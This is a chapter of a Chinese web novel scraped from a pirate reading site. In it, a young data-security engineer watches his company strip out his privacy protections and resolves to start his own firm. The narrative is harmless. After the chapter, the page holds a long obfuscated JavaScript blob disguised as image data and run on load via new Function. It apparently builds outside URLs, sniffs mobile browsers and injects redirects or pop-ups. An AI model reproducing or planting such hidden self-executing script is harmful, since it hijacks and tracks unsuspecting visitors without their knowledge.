首页
前传第69章 理想碰壁,现实
返回
关灯 护眼:关 字号:小

前传第69章 理想碰壁,现实给的重击

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    前传第69章理想碰壁,现实给的重击(第1/2页)
    凌晨零点的星途科技大厦,依旧没有褪去半分喧嚣。
    整栋写字楼的玻璃幕墙映着城市霓虹,流光璀璨,像一座伫立在江城夜色里的金色围城。外人遥望,只看得见互联网头部企业的光鲜体面、高薪光环、行业荣光,只有身处其中的人,才知道这片灯火之下,藏着多少被碾碎的初心、被妥协的底线、被消耗的热忱。
    龙胆草背着简单的黑色双肩包,站在写字楼大堂冰凉的大理石地面上,抬头望着层层叠叠、亮如白昼的办公楼层。
    指尖还残留着键盘的微凉,脑海里反复回荡着总监陈磊那番冰冷功利的训话,还有同事们习以为常的麻木与漠然。
    上一章深夜提交的安全风险报告,石沉大海。
    没有任何人找他沟通漏洞隐患,没有任何人考量数万用户的隐私安危,部门工作群里,只剩下运营、产品、技术轮番同步的上线倒计时。所有人都在为新版本流量冲刺,为季度KPI奔波,仿佛他熬夜撰写的风险预警、耗费心血的加密补丁,从来没有存在过。
    系统后台已经自动同步了最终迭代版本。
    他刚才最后一次登录项目后台,清晰地看见,自己连夜编写的安全冗余代码被尽数清空,所有隐私防护机制全部简化,原本层层加密的数据溯源通道被彻底关闭。
    为了压缩运行成本、提升推送速率、最大化流量变现效率,公司毫不犹豫,舍弃了所有的安全底线。
    技术从来没有败给难度,败给的从来都是人心与利益。
    夜风从大堂旋转门缝隙钻进来,带着深秋刺骨的寒意,拂过少年青涩挺拔的脊背。二十二岁的龙胆草,第一次清晰且惨烈地体会到,理想撞进现实里,碎得有多彻底。
    在此之前,他的人生一直是笔直向上的坦途。
    出身小城寒门,家境清贫,无背景无依靠,唯一的资本就是肯吃苦、肯钻研、骨子里带着一股不服输的执拗。从小到大,他信奉努力终有回报,信奉技术公平公正,信奉心怀善意、坚守底线,就一定能行稳致远。
    高考拼尽全力考入顶尖学府,深耕最枯燥艰深的计算机算法与数据安全专业。别人逃课摸鱼、追逐热闹,他泡在实验室、守在机房,日夜与代码为伴。他见过底层普通人被信息差裹挟的无助,见过普通百姓因数据泄露遭遇诈骗、骚扰的窘迫,所以他笃定,数据安全是最有温度、最有意义的赛道。
    他始终坚信,科技的初衷是为人服务,技术的终极意义是守护安稳。
    为此,他推掉了所有灰色捷径,拒绝过校外机构高价接单的诱惑,婉拒过导师偏向商业套利的项目邀约,一心只想打磨纯粹的技术,等着学有所成,做一份对得起本心、对得起世人的事业。
    星途科技的校招offer,曾是他以为的最好归宿。
    他以为,国内顶尖的科技平台,必然有着行业顶尖的格局与底线。他以为,在这里,他的技术可以落地生根,可以真正守护用户隐私,可以实现自己坚守多年的技术向善的初心。
    可短短三个月,现实一层一层扒开了光鲜外壳下的浑浊与冷漠,给了他一次又一次无声的重击。
    而今夜,是压垮他幻想的最后一击。
    手机屏幕亮起,是同班同学兼室友周屿发来的消息。周屿和他一起校招入职互联网行业,去了另一座城市的中型科技公司。
    【周屿:听说你们星享生活新版本明天全量上线?圈内都在传,你们这次为了流量,直接裸奔用户隐私数据,胆子也太大了。】
    【周屿:我还以为你们头部大厂最注重安全规范,没想到也是资本优先,底线随缘。】
    【周屿:小草,你在核心研发岗,看着这些操作,心里不难受吗?】
    难受。
    何止是难受。
    是一种胸腔发闷、心口发堵、无处言说的悲凉与无力。
    龙胆草指尖悬在屏幕上,良久,只敲出三个字:很失望。
    周屿很快回复:其实都一样,天下大厂一般同。我这边也是,所有安全让步商业,所有底线给业绩让路。我们这些做技术的,说白了就是资本的工具人,理想这种东西,在行业里最不值钱。
    工具人。
    精准又残忍的三个字。
    龙胆草缓缓收起手机,眼底最后一点温热的光亮,彻底沉了下去。
    他终于彻底看清了这个行业的潜规则。
    所有标榜的科技向善、用户至上,都只是对外宣传的漂亮话术。在真实的商业博弈、资本盈利面前,普通用户的隐私安全、技术人员的职业底线、行业长久的良性发展,全部都可以牺牲、可以妥协、可以舍弃。
    流量是唯一的标尺,收益是唯一的真理。
    他想起白天工位旁同事们的闲谈,那些轻描淡写的话语,此刻一遍遍在耳边回响。
    “普通用户的隐私值几个钱?”
    “出了问题公关摆平就好,不影响业绩就行。”
    “打工而已,没必要较真,没必要给自己树敌。”
    曾经的他,始终不愿意同流合污。
    他觉得,哪怕所有人都妥协,总该有人坚守;哪怕所有人都麻木,总该有人清醒。他凭着一腔少年孤勇,试图在浑浊的职场里守住一方干净,试图用自己的技术,护住一点点本该被守护的安稳。
    可现实狠狠告诉他:个人的坚守,在成型的行业规则、冰冷的资本体系面前,渺小得不堪一击。
    他的较真,在领导眼里是不识时务、阻碍进度。
    他的善良,在同事眼里是天真幼稚、自讨苦吃。
    他的初心,在整个功利的职场生态里,是格格不入的异类。
    大堂的保安大叔收拾着岗亭,看见伫立不动的龙胆草,善意开口:“小伙子,又加班到这么晚?你们大厂年轻人,真是辛苦。”
    龙胆草回过神,轻轻点头,低声应了一句:“还好。”
    辛苦从来都不可怕。
    真正可怕的是,日复一日的辛苦,不是为了创造价值、守护美好,而是在助纣为虐,在为资本的贪婪铺路,在亲手透支普通用户的安全感。
    他走出写字楼大堂,深秋的晚风迎面席卷而来,凉意穿透单薄的衬衫,浸透四肢百骸。
    产业园的街道空旷寂静,两侧的商铺早已打烊,只有路灯次第铺开,拉长他孤单的影子。路边停满了加班族的私家车,车窗映着依旧亮着的手机办公界面,这座城市的繁华,永远建立在无数年轻人的透支与妥协之上。
    他沿着路灯慢慢往前走,脑子里翻涌着这三个月的所有细节。
    刚入职时,他满怀热忱,主动承担最难最繁琐的安全排查工作,自愿通宵加班优化代码逻辑,对待每一个漏洞、每一条用户反馈,都极致认真、绝不敷衍。
    (本章未完,请点击下一页继续阅读)前传第69章理想碰壁,现实给的重击(第2/2页)
    他曾为修复一个微小的隐私权限bug,连续熬两个通宵;曾为核实普通用户的投诉工单,逐行核对数万条后台数据;曾在部门会议上,一次次提出安全优化方案,一次次建议放缓迭代节奏、优先保障用户权益。
    那时候的他,天真地以为,真诚和专业总能被看见,坚守和底线总能被尊重。
    可换来的是什么?
    是领导的视而不见,是同事的冷眼旁观,是一次次“优先商业、搁置安全”的强制指令,是所有付出被轻飘飘一句“无关紧要”彻底否定。
    上周,他排查出后台权限漏洞,可能导致未成年人信息泄露,连夜提交优化方案。
    总监陈磊的批复是:非重大bug,不影响主流流量变现,暂不处理,留待年终版本统一迭代。
    上上个月,他发现第三方合作接口存在数据抓取隐患,主动对接运营部门整改。
    得到的回复是:合作渠道关乎营收,不能整改,技术适配商业,不要本末倒置。
    一次又一次的妥协要求,一次又一次的底线退让,他一直在隐忍、沟通、争取,始终不愿意彻底放弃。
    他总觉得,行业乱象纵然普遍,自己至少可以守住自己的一方本心。
    可今夜,废弃加密补丁、强制删减安全代码、无视数万用户风险的最终指令,彻底打碎了他所有的侥幸与幻想。
    这里没有例外,没有包容初心的土壤,没有尊重技术底线的规则。
    所有的坚守,都是自我感动。
    所有的理想,都是职场累赘。
    走到产业园人工湖边,湖水静谧,映着漫天灯火,繁华刺眼,却照不进人心深处的荒芜。
    龙胆草停下脚步,从双肩包里掏出那个随身携带的旧笔记本。
    封面已经微微磨损,是他大学入学时买的本子,首页工整抄写的那句“持技术向善,为苍生设防”,字迹清晰,笔力恳切,是十八岁的自己,最纯粹滚烫的初心。
    一页页翻开,里面记满了他的学习笔记、算法推演、技术感悟,还有无数条从公开渠道整理的用户数据受害案例。
    有普通人因信息泄露遭遇电信诈骗,毕生积蓄付诸东流;有独居老人被精准推送虚假保健品,屡屡上当受骗;有学生隐私被倒卖,遭遇网络骚扰与霸凌;有小微企业数据被窃取,辛苦经营的成果被竞品剽窃。
    每一条案例,都是他深耕数据安全的初衷。
    他当初就是看着这些人间疾苦,笃定自己所学的技术,是可以救人、可以护人、可以为平凡人筑起一道屏障的利器。
    可现在,他手握最顶尖的技术,身处最顶尖的平台,却只能眼睁睁看着伤害发生,看着自己所学的一切,沦为资本收割普通人的工具。
    何其讽刺,何其悲凉。
    晚风拂过纸页,微微翻动。
    二十二岁的少年,站在无人的湖边,第一次清晰地感受到理想崩塌的剧痛。
    不是失败的挫败感,不是加班的疲惫感,而是信仰落空的茫然,是坚持多年的人生准则被彻底推翻的无力。
    他一直以为,技术无善恶,善恶在人心。只要自己守住本心,就永远不会跑偏。
    可他忘了,人是环境的产物。在资本裹挟一切、利益凌驾底线的职场环境里,独善其身太难,坚守初心太痛。
    要么同流合污,妥协让步,换取安稳的工作、体面的薪资、顺遂的职场前途。
    要么固执坚守,对抗规则,最终被边缘化、被淘汰,成为不懂变通的失败者。
    星途科技给了他所有人艳羡的平台、薪资、前景,却唯独容不下他最珍贵的初心。
    手机再次震动,是部门群发的明日工作安排。
    全员提前到岗,最终核对上线数据,清理所有安全冗余流程,确保新版本流量最大化。末尾附带了一句管理层批注:摒弃多余情怀,聚焦商业结果,职场以结果论英雄。
    摒弃多余情怀。
    原来,他坚守多年的善意、本心、理想,在资本职场的定义里,只是多余的情怀。
    龙胆草看着那行字,久久沉默,心口的酸涩与寒凉,慢慢沉淀成一种极致的清醒。
    他终于彻底明白,自己和这个圈子,从根上就是不合的。
    他想要的,是技术守护人间安稳,是行业良性发展,是初心不负、本心不改。
    而这里所有人追逐的,是流量、是业绩、是营收、是职级、是利益最大化。
    道不同,终究不相为谋。
    夜色渐深,湖边的凉意越来越重。
    龙胆草缓缓合上笔记本,小心翼翼放进包里。他没有擦掉首页的那句话,也没有否定曾经一腔热血的自己。
    少年的初心没有错,技术向善的理念没有错,错的是这个唯利是图的行业乱象,是本末倒置的职场规则,是被资本裹挟的功利生态。
    既然现有平台容不下纯粹的技术理想,既然所有顶尖大厂都在为利益放弃底线,那他就不必再勉强自己融入。
    这一场迎面而来的现实重击,打碎了他的天真,打碎了他的侥幸,却也彻底敲醒了他。
    以前的他,迷茫于前路,贪恋大厂的平台光环,总觉得身在高处,总能做点什么。
    而现在,他彻底看清:依附别人的平台,永远只能受制于人。别人的规则里,永远没有他想要的初心与底线。
    想要守住技术向善,想要真正用数据安全技术守护普通人,想要打破行业乱象,不被资本裹挟、不被利益绑架,唯有一条路可走。
    自立门户,自建天地。
    自己搭建干净的技术平台,自己制定坚守底线的规则,自己研发真正纯粹、护佑用户的安全技术。
    哪怕从零开始,白手起家,前路荆棘丛生,前路无人看好,也好过在光鲜的牢笼里,日复一日妥协底线、消耗初心。
    夜风浩荡,吹散了少年眼底的迷茫,沉淀下沉稳坚定的锋芒。
    今夜的理想碰壁,不是人生的溃败,是蜕变的开端。
    星途科技的灯火依旧璀璨,依旧在源源不断地制造流量、收割利益、复刻行业乱象。
    但从此刻起,这里不再是龙胆草向往的远方,不再是他寄托理想的舞台。
    他站在满城灯火里,回望自己数年的坚守与热爱,告别了天真懵懂的少年时代,彻底褪去所有不切实际的幻想。
    现实冰冷残酷,却也最教人成长。
    这一记沉重的现实重击,碾碎了情怀,筑牢了脊梁。
    多年后生根发芽、照亮整个行业的龙胆科技,守护万千用户的五彩绫镜,都始于这个深夜的清醒与决绝。
    前路风雨将至,但初心,已然扎根。(完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();